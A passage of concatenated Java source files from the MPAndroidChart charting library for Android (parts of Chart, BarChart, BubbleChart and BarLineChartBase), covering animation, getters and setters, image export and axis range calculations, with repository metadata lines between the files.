* animation time. If animate(...) is called, no further calling of
* invalidate() is necessary to refresh the chart. ANIMATIONS ONLY WORK FOR
* API LEVEL 11 (Android 3.0.x) AND HIGHER.
*
* @param durationMillis
*/
public void animateX(int durationMillis) {
mAnimator.animateX(durationMillis);
}
/**
* Animates the rendering of the chart on the y-axis with the specified
* animation time. If animate(...) is called, no further calling of
* invalidate() is necessary to refresh the chart. ANIMATIONS ONLY WORK FOR
* API LEVEL 11 (Android 3.0.x) AND HIGHER.
*
* @param durationMillis
*/
public void animateY(int durationMillis) {
mAnimator.animateY(durationMillis);
}
/**
* Animates the drawing / rendering of the chart on both x- and y-axis with
* the specified animation time. If animate(...) is called, no further
* calling of invalidate() is necessary to refresh the chart. ANIMATIONS
* ONLY WORK FOR API LEVEL 11 (Android 3.0.x) AND HIGHER.
*
* @param durationMillisX
* @param durationMillisY
*/
public void animateXY(int durationMillisX, int durationMillisY) {
mAnimator.animateXY(durationMillisX, durationMillisY);
}
/**
* ################ ################ ################ ################
*/
/** BELOW THIS ONLY GETTERS AND SETTERS */
/**
* Returns the object representing all x-labels, this method can be used to
* acquire the XAxis object and modify it (e.g. change the position of the
* labels, styling, etc.)
*
* @return
*/
public XAxis getXAxis() {
return mXAxis;
}
/**
* Returns the default ValueFormatter that has been determined by the chart
* considering the provided minimum and maximum values.
*
* @return
*/
public ValueFormatter getDefaultValueFormatter() {
return mDefaultFormatter;
}
/**
* set a selection listener for the chart
*
* @param l
*/
public void setOnChartValueSelectedListener(OnChartValueSelectedListener l) {
this.mSelectionListener = l;
}
/**
* Sets a gesture-listener for the chart for custom callbacks when executing
* gestures on the chart surface.
*
* @param l
*/
public void setOnChartGestureListener(OnChartGestureListener l) {
this.mGestureListener = l;
}
/**
* Returns the custom gesture listener.
*
* @return
*/
public OnChartGestureListener getOnChartGestureListener() {
return mGestureListener;
}
/**
* returns the current y-max value across all DataSets
*
* @return
*/
public boolean isHighlightEnabled() {
return mData == null ? true : mData.isHighlightEnabled();
}
public float getYMax() {
return mData.getYMax();
}
/**
* returns the current y-min value across all DataSets
*
* @return
*/
public float getYMin() {
return mData.getYMin();
}
@Override
public float getXChartMax() {
return mXAxis.mAxisMaximum;
}
@Override
public float getXChartMin() {
return mXAxis.mAxisMinimum;
}
@Override
public int getXValCount() {
return mData.getXValCount();
}
/**
* Returns the total number of (y) values the chart holds (across all DataSets).
*
* @return
*/
public int getValueCount() {
return mData.getYValCount();
}
/**
* Returns the center point of the chart (the whole View) in pixels.
*
* @return
*/
public PointF getCenter() {
return new PointF(getWidth() / 2f, getHeight() / 2f);
}
/**
* Returns the center of the chart taking offsets under consideration.
* (returns the center of the content rectangle)
*
* @return
*/
@Override
public PointF getCenterOffsets() {
return mViewPortHandler.getContentCenter();
}
/**
* set a description text that appears in the bottom right corner of the
* chart, size = Y-legend text size
*
* @param desc
*/
public void setDescription(String desc) {
if (desc == null)
desc = "";
this.mDescription = desc;
}
/**
* Sets a custom position for the description text in pixels on the screen.
*
* @param x - xcoordinate
* @param y - ycoordinate
*/
public void setDescriptionPosition(float x, float y) {
mDescriptionPosition = new PointF(x, y);
}
/**
* sets the typeface for the description paint
*
* @param t
*/
public void setDescriptionTypeface(Typeface t) {
mDescPaint.setTypeface(t);
}
/**
* sets the size of the description text in pixels, min 6f, max 16f
*
* @param size
*/
public void setDescriptionTextSize(float size) {
if (size > 16f)
size = 16f;
if (size < 6f)
size = 6f;
mDescPaint.setTextSize(Utils.convertDpToPixel(size));
}
/**
* Sets the color of the description text.
*
* @param color
*/
public void setDescriptionColor(int color) {
mDescPaint.setColor(color);
}
/**
* Sets extra offsets (around the chart view) to be appended to the
* auto-calculated offsets.
*
* @param left
* @param top
* @param right
* @param bottom
*/
public void setExtraOffsets(float left, float top, float right, float bottom) {
setExtraLeftOffset(left);
setExtraTopOffset(top);
setExtraRightOffset(right);
setExtraBottomOffset(bottom);
}
/**
* Set an extra offset to be appended to the viewport's top
*/
public void setExtraTopOffset(float offset) {
mExtraTopOffset = Utils.convertDpToPixel(offset);
}
/**
* @return the extra offset to be appended to the viewport's top
*/
public float getExtraTopOffset() {
return mExtraTopOffset;
}
/**
* Set an extra offset to be appended to the viewport's right
*/
public void setExtraRightOffset(float offset) {
mExtraRightOffset = Utils.convertDpToPixel(offset);
}
/**
* @return the extra offset to be appended to the viewport's right
*/
public float getExtraRightOffset() {
return mExtraRightOffset;
}
/**
* Set an extra offset to be appended to the viewport's bottom
*/
public void setExtraBottomOffset(float offset) {
mExtraBottomOffset = Utils.convertDpToPixel(offset);
}
/**
* @return the extra offset to be appended to the viewport's bottom
*/
public float getExtraBottomOffset() {
return mExtraBottomOffset;
}
/**
* Set an extra offset to be appended to the viewport's left
*/
public void setExtraLeftOffset(float offset) {
mExtraLeftOffset = Utils.convertDpToPixel(offset);
}
/**
* @return the extra offset to be appended to the viewport's left
*/
public float getExtraLeftOffset() {
return mExtraLeftOffset;
}
/**
* Set this to true to enable logcat outputs for the chart. Beware that
* logcat output decreases rendering performance. Default: disabled.
*
* @param enabled
*/
public void setLogEnabled(boolean enabled) {
mLogEnabled = enabled;
}
/**
* Returns true if log-output is enabled for the chart, fals if not.
*
* @return
*/
public boolean isLogEnabled() {
return mLogEnabled;
}
/**
* Sets the text that informs the user that there is no data available with
* which to draw the chart.
*
* @param text
*/
public void setNoDataText(String text) {
mNoDataText = text;
}
/**
* Sets descriptive text to explain to the user why there is no chart
* available Defaults to empty if not set
*
* @param text
*/
public void setNoDataTextDescription(String text) {
mNoDataTextDescription = text;
}
/**
* Set this to false to disable all gestures and touches on the chart,
* default: true
*
* @param enabled
*/
public void setTouchEnabled(boolean enabled) {
this.mTouchEnabled = enabled;
}
/**
* sets the view that is displayed when a value is clicked on the chart
*
* @param v
*/
public void setMarkerView(MarkerView v) {
mMarkerView = v;
}
/**
* returns the view that is set as a marker view for the chart
*
* @return
*/
public MarkerView getMarkerView() {
return mMarkerView;
}
/**
* Returns the Legend object of the chart. This method can be used to get an
* instance of the legend in order to customize the automatically generated
* Legend.
*
* @return
*/
public Legend getLegend() {
return mLegend;
}
/**
* Returns the renderer object responsible for rendering / drawing the
* Legend.
*
* @return
*/
public LegendRenderer getLegendRenderer() {
return mLegendRenderer;
}
/**
* Returns the rectangle that defines the borders of the chart-value surface
* (into which the actual values are drawn).
*
* @return
*/
@Override
public RectF getContentRect() {
return mViewPortHandler.getContentRect();
}
/**
* disables intercept touchevents
*/
public void disableScroll() {
ViewParent parent = getParent();
if (parent != null)
parent.requestDisallowInterceptTouchEvent(true);
}
/**
* enables intercept touchevents
*/
public void enableScroll() {
ViewParent parent = getParent();
if (parent != null)
parent.requestDisallowInterceptTouchEvent(false);
}
/**
* paint for the grid background (only line and barchart)
*/
public static final int PAINT_GRID_BACKGROUND = 4;
/**
* paint for the info text that is displayed when there are no values in the
* chart
*/
public static final int PAINT_INFO = 7;
/**
* paint for the description text in the bottom right corner
*/
public static final int PAINT_DESCRIPTION = 11;
/**
* paint for the hole in the middle of the pie chart
*/
public static final int PAINT_HOLE = 13;
/**
* paint for the text in the middle of the pie chart
*/
public static final int PAINT_CENTER_TEXT = 14;
/**
* paint used for the legend
*/
public static final int PAINT_LEGEND_LABEL = 18;
/**
* set a new paint object for the specified parameter in the chart e.g.
* Chart.PAINT_VALUES
*
* @param p the new paint object
* @param which Chart.PAINT_VALUES, Chart.PAINT_GRID, Chart.PAINT_VALUES,
* ...
*/
public void setPaint(Paint p, int which) {
switch (which) {
case PAINT_INFO:
mInfoPaint = p;
break;
case PAINT_DESCRIPTION:
mDescPaint = p;
break;
}
}
/**
* Returns the paint object associated with the provided constant.
*
* @param which e.g. Chart.PAINT_LEGEND_LABEL
* @return
*/
public Paint getPaint(int which) {
switch (which) {
case PAINT_INFO:
return mInfoPaint;
case PAINT_DESCRIPTION:
return mDescPaint;
}
return null;
}
/**
* returns true if drawing the marker-view is enabled when tapping on values
* (use the setMarkerView(View v) method to specify a marker view)
*
* @return
*/
public boolean isDrawMarkerViewEnabled() {
return mDrawMarkerViews;
}
/**
* Set this to true to draw a user specified marker-view when tapping on
* chart values (use the setMarkerView(MarkerView mv) method to specify a
* marker view). Default: true
*
* @param enabled
*/
public void setDrawMarkerViews(boolean enabled) {
mDrawMarkerViews = enabled;
}
/**
* returns the x-value at the given index
*
* @param index
* @return
*/
public String getXValue(int index) {
if (mData == null || mData.getXValCount() <= index)
return null;
else
return mData.getXVals().get(index);
}
/**
* Get all Entry objects at the given index across all DataSets.
* INFORMATION: This method does calculations at runtime. Do not over-use in
* performance critical situations.
*
* @param xIndex
* @return
*/
public List<Entry> getEntriesAtIndex(int xIndex) {
List<Entry> vals = new ArrayList<>();
for (int i = 0; i < mData.getDataSetCount(); i++) {
IDataSet set = mData.getDataSetByIndex(i);
Entry e = set.getEntryForXIndex(xIndex);
if (e != null) {
vals.add(e);
}
}
return vals;
}
/**
* Returns the ChartData object that has been set for the chart.
*
* @return
*/
public T getData() {
return mData;
}
/**
* Returns the ViewPortHandler of the chart that is responsible for the
* content area of the chart and its offsets and dimensions.
*
* @return
*/
public ViewPortHandler getViewPortHandler() {
return mViewPortHandler;
}
/**
* Returns the Renderer object the chart uses for drawing data.
*
* @return
*/
public DataRenderer getRenderer() {
return mRenderer;
}
/**
* Sets a new DataRenderer object for the chart.
*
* @param renderer
*/
public void setRenderer(DataRenderer renderer) {
if (renderer != null)
mRenderer = renderer;
}
public ChartHighlighter getHighlighter() {
return mHighlighter;
}
/**
* Sets a custom highligher object for the chart that handles / processes
* all highlight touch events performed on the chart-view.
*
* @param highlighter
*/
public void setHighlighter(ChartHighlighter highlighter) {
mHighlighter = highlighter;
}
@Override
public PointF getCenterOfView() {
return getCenter();
}
/**
* Returns the bitmap that represents the chart.
*
* @return
*/
public Bitmap getChartBitmap() {
// Define a bitmap with the same size as the view
Bitmap returnedBitmap = Bitmap.createBitmap(getWidth(), getHeight(), Bitmap.Config.RGB_565);
// Bind a canvas to it
Canvas canvas = new Canvas(returnedBitmap);
// Get the view's background
Drawable bgDrawable = getBackground();
if (bgDrawable != null)
// has background drawable, then draw it on the canvas
bgDrawable.draw(canvas);
else
// does not have background drawable, then draw white background on
// the canvas
canvas.drawColor(Color.WHITE);
// draw the view on the canvas
draw(canvas);
// return the bitmap
return returnedBitmap;
}
/**
* Saves the current chart state with the given name to the given path on
* the sdcard leaving the path empty "" will put the saved file directly on
* the SD card chart is saved as a PNG image, example:
* saveToPath("myfilename", "foldername1/foldername2");
*
* @param title
* @param pathOnSD e.g. "folder1/folder2/folder3"
* @return returns true on success, false on error
*/
public boolean saveToPath(String title, String pathOnSD) {
Bitmap b = getChartBitmap();
OutputStream stream;
try {
stream = new FileOutputStream(Environment.getExternalStorageDirectory().getPath()
+ pathOnSD + "/" + title
+ ".png");
/*
* Write bitmap to file using JPEG or PNG and 40% quality hint for
* JPEG.
*/
b.compress(CompressFormat.PNG, 40, stream);
stream.close();
} catch (Exception e) {
e.printStackTrace();
return false;
}
return true;
}
/**
* Saves the current state of the chart to the gallery as an image type. The
* compression must be set for JPEG only. 0 == maximum compression, 100 = low
* compression (high quality). NOTE: Needs permission WRITE_EXTERNAL_STORAGE
*
* @param fileName e.g. "my_image"
* @param subFolderPath e.g. "ChartPics"
* @param fileDescription e.g. "Chart details"
* @param format e.g. Bitmap.CompressFormat.PNG
* @param quality e.g. 50, min = 0, max = 100
* @return returns true if saving was successful, false if not
*/
public boolean saveToGallery(String fileName, String subFolderPath, String fileDescription, CompressFormat format, int quality) {
// restrain quality
if (quality < 0 || quality > 100)
quality = 50;
long currentTime = System.currentTimeMillis();
File extBaseDir = Environment.getExternalStorageDirectory();
File file = new File(extBaseDir.getAbsolutePath() + "/DCIM/" + subFolderPath);
if (!file.exists()) {
if (!file.mkdirs()) {
return false;
}
}
String mimeType;
switch (format) {
case PNG:
mimeType = "image/png";
if (!fileName.endsWith(".png"))
fileName += ".png";
break;
case WEBP:
mimeType = "image/webp";
if (!fileName.endsWith(".webp"))
fileName += ".webp";
break;
case JPEG:
default:
mimeType = "image/jpeg";
if (!(fileName.endsWith(".jpg") || fileName.endsWith(".jpeg")))
fileName += ".jpg";
break;
}
String filePath = file.getAbsolutePath() + "/" + fileName;
FileOutputStream out;
try {
out = new FileOutputStream(filePath);
Bitmap b = getChartBitmap();
b.compress(format, quality, out);
out.flush();
out.close();
} catch (IOException e) {
e.printStackTrace();
return false;
}
long size = new File(filePath).length();
ContentValues values = new ContentValues(8);
// store the details
values.put(Images.Media.TITLE, fileName);
values.put(Images.Media.DISPLAY_NAME, fileName);
values.put(Images.Media.DATE_ADDED, currentTime);
values.put(Images.Media.MIME_TYPE, mimeType);
values.put(Images.Media.DESCRIPTION, fileDescription);
values.put(Images.Media.ORIENTATION, 0);
values.put(Images.Media.DATA, filePath);
values.put(Images.Media.SIZE, size);
return getContext().getContentResolver().insert(Images.Media.EXTERNAL_CONTENT_URI, values) != null;
}
/**
* Saves the current state of the chart to the gallery as a JPEG image. The
* filename and compression can be set. 0 == maximum compression, 100 = low
* compression (high quality). NOTE: Needs permission WRITE_EXTERNAL_STORAGE
*
* @param fileName e.g. "my_image"
* @param quality e.g. 50, min = 0, max = 100
* @return returns true if saving was successful, false if not
*/
public boolean saveToGallery(String fileName, int quality) {
return saveToGallery(fileName, "", "MPAndroidChart-Library Save", CompressFormat.JPEG, quality);
}
/**
* tasks to be done after the view is setup
*/
protected ArrayList<Runnable> mJobs = new ArrayList<>();
public void removeViewportJob(Runnable job) {
mJobs.remove(job);
}
public void clearAllViewportJobs() {
mJobs.clear();
}
/**
* Either posts a job immediately if the chart has already setup it's
* dimensions or adds the job to the execution queue.
*
* @param job
*/
public void addViewportJob(Runnable job) {
if (mViewPortHandler.hasChartDimens()) {
post(job);
} else {
mJobs.add(job);
}
}
/**
* Returns all jobs that are scheduled to be executed after
* onSizeChanged(...).
*
* @return
*/
public ArrayList<Runnable> getJobs() {
return mJobs;
}
@Override
protected void onLayout(boolean changed, int left, int top, int right, int bottom) {
for (int i = 0; i < getChildCount(); i++) {
getChildAt(i).layout(left, top, right, bottom);
}
}
@Override
protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
super.onMeasure(widthMeasureSpec, heightMeasureSpec);
int size = (int) Utils.convertDpToPixel(50f);
setMeasuredDimension(
Math.max(getSuggestedMinimumWidth(),
resolveSize(size,
widthMeasureSpec)),
Math.max(getSuggestedMinimumHeight(),
resolveSize(size,
heightMeasureSpec)));
}
@Override
protected void onSizeChanged(int w, int h, int oldw, int oldh) {
if (mLogEnabled)
Log.i(LOG_TAG, "OnSizeChanged()");
if (w > 0 && h > 0 && w < 10000 && h < 10000) {
mViewPortHandler.setChartDimens(w, h);
if (mLogEnabled)
Log.i(LOG_TAG, "Setting chart dimens, width: " + w + ", height: " + h);
for (Runnable r : mJobs) {
post(r);
}
mJobs.clear();
}
notifyDataSetChanged();
super.onSizeChanged(w, h, oldw, oldh);
}
/**
* Setting this to true will set the layer-type HARDWARE for the view, false
* will set layer-type SOFTWARE.
*
* @param enabled
*/
public void setHardwareAccelerationEnabled(boolean enabled) {
if (android.os.Build.VERSION.SDK_INT >= 11) {
if (enabled)
setLayerType(View.LAYER_TYPE_HARDWARE, null);
else
setLayerType(View.LAYER_TYPE_SOFTWARE, null);
} else {
Log.e(LOG_TAG,
"Cannot enable/disable hardware acceleration for devices below API level 11.");
}
}
@Override
protected void onDetachedFromWindow() {
super.onDetachedFromWindow();
//Log.i(LOG_TAG, "Detaching...");
if (mUnbind)
unbindDrawables(this);
}
/**
* unbind flag
*/
private boolean mUnbind = false;
/**
* Unbind all drawables to avoid memory leaks.
* Link: path_to_url
*
* @param view
*/
private void unbindDrawables(View view) {
if (view.getBackground() != null) {
view.getBackground().setCallback(null);
}
if (view instanceof ViewGroup) {
for (int i = 0; i < ((ViewGroup) view).getChildCount(); i++) {
unbindDrawables(((ViewGroup) view).getChildAt(i));
}
((ViewGroup) view).removeAllViews();
}
}
/**
* Set this to true to enable "unbinding" of drawables. When a View is detached
* from a window. This helps avoid memory leaks.
* Default: false
* Link: path_to_url
*
* @param enabled
*/
public void setUnbindEnabled(boolean enabled) {
this.mUnbind = enabled;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/charts/Chart.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 11,643 |
```java
package com.github.mikephil.charting.charts;
import android.content.Context;
import android.graphics.RectF;
import android.util.AttributeSet;
import android.util.Log;
import com.github.mikephil.charting.components.YAxis.AxisDependency;
import com.github.mikephil.charting.data.BarData;
import com.github.mikephil.charting.data.BarEntry;
import com.github.mikephil.charting.highlight.BarHighlighter;
import com.github.mikephil.charting.highlight.Highlight;
import com.github.mikephil.charting.interfaces.dataprovider.BarDataProvider;
import com.github.mikephil.charting.interfaces.datasets.IBarDataSet;
import com.github.mikephil.charting.renderer.BarChartRenderer;
import com.github.mikephil.charting.renderer.XAxisRendererBarChart;
/**
* Chart that draws bars.
*
* @author Philipp Jahoda
*/
public class BarChart extends BarLineChartBase<BarData> implements BarDataProvider {
/** flag that enables or disables the highlighting arrow */
private boolean mDrawHighlightArrow = false;
/**
* if set to true, all values are drawn above their bars, instead of below their top
*/
private boolean mDrawValueAboveBar = true;
/**
* if set to true, a grey area is drawn behind each bar that indicates the maximum value
*/
private boolean mDrawBarShadow = false;
public BarChart(Context context) {
super(context);
}
public BarChart(Context context, AttributeSet attrs) {
super(context, attrs);
}
public BarChart(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
}
@Override
protected void init() {
super.init();
mRenderer = new BarChartRenderer(this, mAnimator, mViewPortHandler);
mXAxisRenderer = new XAxisRendererBarChart(mViewPortHandler, mXAxis, mLeftAxisTransformer, this);
setHighlighter(new BarHighlighter(this));
mXAxis.mAxisMinimum = -0.5f;
}
@Override
protected void calcMinMax() {
super.calcMinMax();
// increase deltax by 1 because the bars have a width of 1
mXAxis.mAxisRange += 0.5f;
// extend xDelta to make space for multiple datasets (if ther are one)
mXAxis.mAxisRange *= mData.getDataSetCount();
float groupSpace = mData.getGroupSpace();
mXAxis.mAxisRange += mData.getXValCount() * groupSpace;
mXAxis.mAxisMaximum = mXAxis.mAxisRange - mXAxis.mAxisMinimum;
}
/**
* Returns the Highlight object (contains x-index and DataSet index) of the selected value at the given touch point
* inside the BarChart.
*
* @param x
* @param y
* @return
*/
@Override
public Highlight getHighlightByTouchPoint(float x, float y) {
if (mData == null) {
Log.e(LOG_TAG, "Can't select by touch. No data set.");
return null;
} else
return getHighlighter().getHighlight(x, y);
}
/**
* Returns the bounding box of the specified Entry in the specified DataSet. Returns null if the Entry could not be
* found in the charts data.
*
* @param e
* @return
*/
public RectF getBarBounds(BarEntry e) {
IBarDataSet set = mData.getDataSetForEntry(e);
if (set == null)
return null;
float barspace = set.getBarSpace();
float y = e.getVal();
float x = e.getXIndex();
float barWidth = 0.5f;
float spaceHalf = barspace / 2f;
float left = x - barWidth + spaceHalf;
float right = x + barWidth - spaceHalf;
float top = y >= 0 ? y : 0;
float bottom = y <= 0 ? y : 0;
RectF bounds = new RectF(left, top, right, bottom);
getTransformer(set.getAxisDependency()).rectValueToPixel(bounds);
return bounds;
}
/**
* set this to true to draw the highlightning arrow
*
* @param enabled
*/
public void setDrawHighlightArrow(boolean enabled) {
mDrawHighlightArrow = enabled;
}
/**
* returns true if drawing the highlighting arrow is enabled, false if not
*
* @return
*/
public boolean isDrawHighlightArrowEnabled() {
return mDrawHighlightArrow;
}
/**
* If set to true, all values are drawn above their bars, instead of below their top.
*
* @param enabled
*/
public void setDrawValueAboveBar(boolean enabled) {
mDrawValueAboveBar = enabled;
}
/**
* returns true if drawing values above bars is enabled, false if not
*
* @return
*/
public boolean isDrawValueAboveBarEnabled() {
return mDrawValueAboveBar;
}
/**
* If set to true, a grey area is drawn behind each bar that indicates the maximum value. Enabling his will reduce
* performance by about 50%.
*
* @param enabled
*/
public void setDrawBarShadow(boolean enabled) {
mDrawBarShadow = enabled;
}
/**
* returns true if drawing shadows (maxvalue) for each bar is enabled, false if not
*
* @return
*/
public boolean isDrawBarShadowEnabled() {
return mDrawBarShadow;
}
@Override
public BarData getBarData() {
return mData;
}
/**
* Returns the lowest x-index (value on the x-axis) that is still visible on the chart.
*
* @return
*/
@Override
public int getLowestVisibleXIndex() {
float step = mData.getDataSetCount();
float div = (step <= 1) ? 1 : step + mData.getGroupSpace();
float[] pts = new float[] { mViewPortHandler.contentLeft(), mViewPortHandler.contentBottom() };
getTransformer(AxisDependency.LEFT).pixelsToValue(pts);
return (int) ((pts[0] <= getXChartMin()) ? 0 : (pts[0] / div) + 1);
}
/**
* Returns the highest x-index (value on the x-axis) that is still visible on the chart.
*
* @return
*/
@Override
public int getHighestVisibleXIndex() {
float step = mData.getDataSetCount();
float div = (step <= 1) ? 1 : step + mData.getGroupSpace();
float[] pts = new float[] { mViewPortHandler.contentRight(), mViewPortHandler.contentBottom() };
getTransformer(AxisDependency.LEFT).pixelsToValue(pts);
return (int) ((pts[0] >= getXChartMax()) ? getXChartMax() / div : (pts[0] / div));
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/charts/BarChart.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 1,508 |
```java
package com.github.mikephil.charting.charts;
import android.content.Context;
import android.util.AttributeSet;
import com.github.mikephil.charting.data.BubbleData;
import com.github.mikephil.charting.interfaces.dataprovider.BubbleDataProvider;
import com.github.mikephil.charting.interfaces.datasets.IBubbleDataSet;
import com.github.mikephil.charting.renderer.BubbleChartRenderer;
/**
* is the area of the bubble, not the radius or diameter of the bubble that
* conveys the data.
*
* @author Philipp Jahoda
*/
public class BubbleChart extends BarLineChartBase<BubbleData> implements BubbleDataProvider {
public BubbleChart(Context context) {
super(context);
}
public BubbleChart(Context context, AttributeSet attrs) {
super(context, attrs);
}
public BubbleChart(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
}
@Override
protected void init() {
super.init();
mRenderer = new BubbleChartRenderer(this, mAnimator, mViewPortHandler);
}
@Override
protected void calcMinMax() {
super.calcMinMax();
if (mXAxis.mAxisRange == 0 && mData.getYValCount() > 0)
mXAxis.mAxisRange = 1;
mXAxis.mAxisMinimum = -0.5f;
mXAxis.mAxisMaximum = (float) mData.getXValCount() - 0.5f;
if (mRenderer != null) {
for (IBubbleDataSet set : mData.getDataSets()) {
final float xmin = set.getXMin();
final float xmax = set.getXMax();
if (xmin < mXAxis.mAxisMinimum)
mXAxis.mAxisMinimum = xmin;
if (xmax > mXAxis.mAxisMaximum)
mXAxis.mAxisMaximum = xmax;
}
}
mXAxis.mAxisRange = Math.abs(mXAxis.mAxisMaximum - mXAxis.mAxisMinimum);
}
public BubbleData getBubbleData() {
return mData;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/charts/BubbleChart.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 437 |
```java
package com.github.mikephil.charting.charts;
import android.annotation.SuppressLint;
import android.annotation.TargetApi;
import android.content.Context;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Matrix;
import android.graphics.Paint;
import android.graphics.Paint.Style;
import android.graphics.PointF;
import android.graphics.RectF;
import android.util.AttributeSet;
import android.util.Log;
import android.view.MotionEvent;
import com.github.mikephil.charting.components.XAxis.XAxisPosition;
import com.github.mikephil.charting.components.YAxis;
import com.github.mikephil.charting.components.YAxis.AxisDependency;
import com.github.mikephil.charting.data.BarData;
import com.github.mikephil.charting.data.BarEntry;
import com.github.mikephil.charting.data.BarLineScatterCandleBubbleData;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.highlight.ChartHighlighter;
import com.github.mikephil.charting.highlight.Highlight;
import com.github.mikephil.charting.interfaces.dataprovider.BarLineScatterCandleBubbleDataProvider;
import com.github.mikephil.charting.interfaces.datasets.IBarLineScatterCandleBubbleDataSet;
import com.github.mikephil.charting.jobs.AnimatedMoveViewJob;
import com.github.mikephil.charting.jobs.AnimatedZoomJob;
import com.github.mikephil.charting.jobs.MoveViewJob;
import com.github.mikephil.charting.jobs.ZoomJob;
import com.github.mikephil.charting.listener.BarLineChartTouchListener;
import com.github.mikephil.charting.listener.OnDrawListener;
import com.github.mikephil.charting.renderer.XAxisRenderer;
import com.github.mikephil.charting.renderer.YAxisRenderer;
import com.github.mikephil.charting.utils.PointD;
import com.github.mikephil.charting.utils.Transformer;
import com.github.mikephil.charting.utils.Utils;
/**
* Base-class of LineChart, BarChart, ScatterChart and CandleStickChart.
*
* @author Philipp Jahoda
*/
@SuppressLint("RtlHardcoded")
public abstract class BarLineChartBase<T extends BarLineScatterCandleBubbleData<? extends IBarLineScatterCandleBubbleDataSet<? extends Entry>>>
extends Chart<T> implements BarLineScatterCandleBubbleDataProvider {
/**
* the maximum number of entries to which values will be drawn
* (entry numbers greater than this value will cause value-labels to disappear)
*/
protected int mMaxVisibleCount = 100;
/**
* flag that indicates if auto scaling on the y axis is enabled
*/
private boolean mAutoScaleMinMaxEnabled = false;
private Integer mAutoScaleLastLowestVisibleXIndex = null;
private Integer mAutoScaleLastHighestVisibleXIndex = null;
/**
* flag that indicates if pinch-zoom is enabled. if true, both x and y axis
* can be scaled with 2 fingers, if false, x and y axis can be scaled
* separately
*/
protected boolean mPinchZoomEnabled = false;
/**
* flag that indicates if double tap zoom is enabled or not
*/
protected boolean mDoubleTapToZoomEnabled = true;
/**
* flag that indicates if highlighting per dragging over a fully zoomed out
* chart is enabled
*/
protected boolean mHighlightPerDragEnabled = true;
/**
* flag that indicates whether the highlight should be full-bar oriented, or single-value?
*/
protected boolean mHighlightFullBarEnabled = false;
/**
* if true, dragging is enabled for the chart
*/
private boolean mDragEnabled = true;
private boolean mScaleXEnabled = true;
private boolean mScaleYEnabled = true;
/**
* paint object for the (by default) lightgrey background of the grid
*/
protected Paint mGridBackgroundPaint;
protected Paint mBorderPaint;
/**
* flag indicating if the grid background should be drawn or not
*/
protected boolean mDrawGridBackground = false;
protected boolean mDrawBorders = false;
/**
* Sets the minimum offset (padding) around the chart, defaults to 15
*/
protected float mMinOffset = 15.f;
/**
* flag indicating if the chart should stay at the same position after a rotation. Default is false.
*/
protected boolean mKeepPositionOnRotation = false;
/**
* the listener for user drawing on the chart
*/
protected OnDrawListener mDrawListener;
/**
* the object representing the labels on the left y-axis
*/
protected YAxis mAxisLeft;
/**
* the object representing the labels on the right y-axis
*/
protected YAxis mAxisRight;
protected YAxisRenderer mAxisRendererLeft;
protected YAxisRenderer mAxisRendererRight;
protected Transformer mLeftAxisTransformer;
protected Transformer mRightAxisTransformer;
protected XAxisRenderer mXAxisRenderer;
// /** the approximator object used for data filtering */
// private Approximator mApproximator;
public BarLineChartBase(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
}
public BarLineChartBase(Context context, AttributeSet attrs) {
super(context, attrs);
}
public BarLineChartBase(Context context) {
super(context);
}
@Override
protected void init() {
super.init();
mAxisLeft = new YAxis(AxisDependency.LEFT);
mAxisRight = new YAxis(AxisDependency.RIGHT);
mLeftAxisTransformer = new Transformer(mViewPortHandler);
mRightAxisTransformer = new Transformer(mViewPortHandler);
mAxisRendererLeft = new YAxisRenderer(mViewPortHandler, mAxisLeft, mLeftAxisTransformer);
mAxisRendererRight = new YAxisRenderer(mViewPortHandler, mAxisRight, mRightAxisTransformer);
mXAxisRenderer = new XAxisRenderer(mViewPortHandler, mXAxis, mLeftAxisTransformer);
setHighlighter(new ChartHighlighter(this));
mChartTouchListener = new BarLineChartTouchListener(this, mViewPortHandler.getMatrixTouch());
mGridBackgroundPaint = new Paint();
mGridBackgroundPaint.setStyle(Style.FILL);
// mGridBackgroundPaint.setColor(Color.WHITE);
mGridBackgroundPaint.setColor(Color.rgb(240, 240, 240)); // light
// grey
mBorderPaint = new Paint();
mBorderPaint.setStyle(Style.STROKE);
mBorderPaint.setColor(Color.BLACK);
mBorderPaint.setStrokeWidth(Utils.convertDpToPixel(1f));
}
// for performance tracking
private long totalTime = 0;
private long drawCycles = 0;
@Override
protected void onDraw(Canvas canvas) {
super.onDraw(canvas);
if (mData == null)
return;
long starttime = System.currentTimeMillis();
calcModulus();
mXAxisRenderer.calcXBounds(this, mXAxis.mAxisLabelModulus);
mRenderer.calcXBounds(this, mXAxis.mAxisLabelModulus);
// execute all drawing commands
drawGridBackground(canvas);
if (mAxisLeft.isEnabled())
mAxisRendererLeft.computeAxis(mAxisLeft.mAxisMinimum, mAxisLeft.mAxisMaximum);
if (mAxisRight.isEnabled())
mAxisRendererRight.computeAxis(mAxisRight.mAxisMinimum, mAxisRight.mAxisMaximum);
mXAxisRenderer.renderAxisLine(canvas);
mAxisRendererLeft.renderAxisLine(canvas);
mAxisRendererRight.renderAxisLine(canvas);
if (mAutoScaleMinMaxEnabled) {
final int lowestVisibleXIndex = getLowestVisibleXIndex();
final int highestVisibleXIndex = getHighestVisibleXIndex();
if (mAutoScaleLastLowestVisibleXIndex == null ||
mAutoScaleLastLowestVisibleXIndex != lowestVisibleXIndex ||
mAutoScaleLastHighestVisibleXIndex == null ||
mAutoScaleLastHighestVisibleXIndex != highestVisibleXIndex) {
calcMinMax();
calculateOffsets();
mAutoScaleLastLowestVisibleXIndex = lowestVisibleXIndex;
mAutoScaleLastHighestVisibleXIndex = highestVisibleXIndex;
}
}
// make sure the graph values and grid cannot be drawn outside the
// content-rect
int clipRestoreCount = canvas.save();
canvas.clipRect(mViewPortHandler.getContentRect());
